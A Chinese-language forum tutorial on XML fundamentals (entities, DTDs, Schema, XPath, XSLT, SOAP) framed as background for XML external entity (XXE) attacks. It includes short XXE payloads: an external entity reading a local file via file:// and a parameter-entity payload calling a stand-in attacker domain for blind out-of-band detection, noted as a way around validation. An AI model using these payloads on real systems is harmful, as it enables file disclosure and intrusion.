XML外部实体攻击(XXE):解析器漏洞的潜在威胁

XML 基础

图片[1]-XML外部实体攻击(XXE):解析器漏洞的潜在威胁-山海云端论坛

什么是 XML?

XML 代表“可扩展标记语言”。XML 是一种设计用于存储和传输数据的语言。与 HTML 类似,XML 使用标签和数据的树状结构。不同于 HTML,XML 不使用预定义标签,因此可以给标签指定描述数据的名称。在 Web 的早期历史中,XML 成为一种流行的数据传输格式(“ AJAX”中的“ X”代表“ XML”)。但是,现在它的流行度已下降,而更多地支持 JSON 格式。

什么是 XML 实体?

XML 实体是一种表示 XML 文档中的数据项的方式,而不是使用数据本身。XML 语言规范内置了各种实体。例如,实体 &lt;&gt; 代表字符 <>。这些是用于表示 XML 标签的元字符,因此当它们出现在数据中时,通常必须使用其实体来表示。

什么是 XML 元素?

元素类型声明为 XML 文档中可能出现的元素的类型和数量,哪些元素可能在彼此内部出现以及它们必须出现的顺序设置规则。例如:

<code><!ELEMENT stockCheck ANY></code>

表示任何对象都可以在父 <stockCheck></stockCheck> 内部。

<code><!ELEMENT stockCheck EMPTY></code>

表示它应该为空 <stockCheck></stockCheck>

<code><!ELEMENT stockCheck (productId, storeId)></code>

声明 <stockCheck> 可以具有子元素 <productId><storeId>

什么是文件类型定义(DTD)?

XML 文档类型定义(DTD)包含一些声明,这些声明可以定义 XML 文档的结构、可以包含的数据值的类型以及其他项。在 XML 文档开始处的可选 DOCTYPE 元素中声明了 DTD。DTD 可以完全独立地包含在文档本身中(称为“内部 DTD”),也可以从其他位置加载(称为“外部 DTD”),也可以将两者混合使用。

什么是 XML 自定义实体?

XML 允许在 DTD 中定义自定义实体。例如:

<code><!DOCTYPE foo [ <!ENTITY myentity "我的实体值"> ]></code>

此定义意味着对实体的任何使用都引用 &myentity;,XML 文档中的内容将替换为定义的值:“我的实体值”。

什么是 XML 外部实体?

XML 外部实体是一种自定义实体,其定义位于声明它们的 DTD 之外。

外部实体的声明使用 SYSTEM 关键字,并且必须指定一个 URL,应从该 URL 加载实体的值。例如:

<code><!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com"> ]></code>

URL 可以使用 file:// 协议,因此可以从文件加载外部实体。例如:

<code><!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file"> ]></code>

XML 外部实体提供了引发 XML 外部实体攻击的主要方法。

什么是 XML 参数实体?

有时,由于应用程序进行了某些输入验证或正在使用的 XML 解析器的某些强化,使用常规实体的 XXE 攻击被阻止了。在这种情况下,您可能可以改为使用 XML 参数实体。XML 参数实体是一种特殊的 XML 实体,只能在 DTD 中的其他地方引用。对目前的目的而言,您只需要知道两件事。首先,XML 参数实体的声明在实体名称之前包含百分比字符:

<code><!ENTITY % myparameterentity "我的参数实体值"></code>

其次,使用百分号而不是通常的与号来引用参数实体: %myparameterentity;

这意味着您可以通过 XML 参数实体使用带外检测来测试盲 XXE,如下所示:

<code><!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]></code>

此 XXE payload 声明了一个称为 xxe 的 XML 参数实体,然后在 DTD 中使用该实体。这将导致对攻击者域的 DNS 查找和 HTTP 请求,从而验证攻击是否成功。

什么是 XML 命名空间?

XML 命名空间允许您在同一文档中使用不同的 XML 元素,即使它们具有相同的名称。通过将元素分配给特定的命名空间,您可以避免名称冲突,并使 XML 更加灵活。

<code><svg xmlns="http://www.w3.org/2000/svg"> <rect width="100" height="100" style="fill:rgb(0,0,255);" /> </svg></code>

在这个例子中,<svg> 元素使用了 http://www.w3.org/2000/svg 命名空间,因此其中的元素(例如 <rect>)都在该命名空间内。命名空间定义可以在文档的开头使用 xmlns 属性。

什么是 XML Schema?

XML Schema 是一种用于定义 XML 文档结构的技术。它比 DTD 更强大,更灵活。XML Schema 使用 XML 本身来定义元素和属性的数据类型以及它们之间的关系。

<code><xs:element name="balance" type="xs:decimal"/></code>

在此示例中,<balance> 元素具有 decimal 类型的数据。

什么是 XPath?

XPath 是一种用于在 XML 文档中定位节点的语言。它是 XML Path Language 的缩写。XPath 可以通过简单的表达式来遍历 XML 树,定位到所需的节点。

<code>/bookstore/book[1]</code>

这个 XPath 表达式将选择第一个 <book> 元素。

什么是 XSLT?

XSLT(可扩展样式表语言转换)是一种用于将 XML 文档转换为其他格式(通常是 HTML 或 XML)的语言。它使用模板和指令来描述如何将输入文档转换为所需的输出格式。

<code><xsl:template match="/"> <html> <body> <h1>Books</h1> <xsl:apply-templates/> </body> </html> </xsl:template></code>

这个 XSLT 模板将根节点匹配为 HTML 文档,并在其中包含书籍的内容。

什么是 SOAP?

SOAP(简单对象访问协议)是一种用于在网络上进行通信的协议。它允许在不同的应用程序之间交换结构化信息,通常使用 XML 格式编码。SOAP 通常与 Web 服务一起使用,以便在分布式系统中进行通信。

<code><soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" soap:encodingStyle="http://www.w3.org/2003/05/soap-encoding"> <soap:Header> </soap:Header> <soap:Body> <m:GetStockPrice xmlns:m="http://www.example.org/stock"> <m:StockName>IBM</m:StockName> </m:GetStockPrice> </soap:Body> </soap:Envelope></code>

这是一个 SOAP 消息的示例,用于获取股票价格。

这就是关于 XML 的基础知识。希望这篇文章对你有所帮助!

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容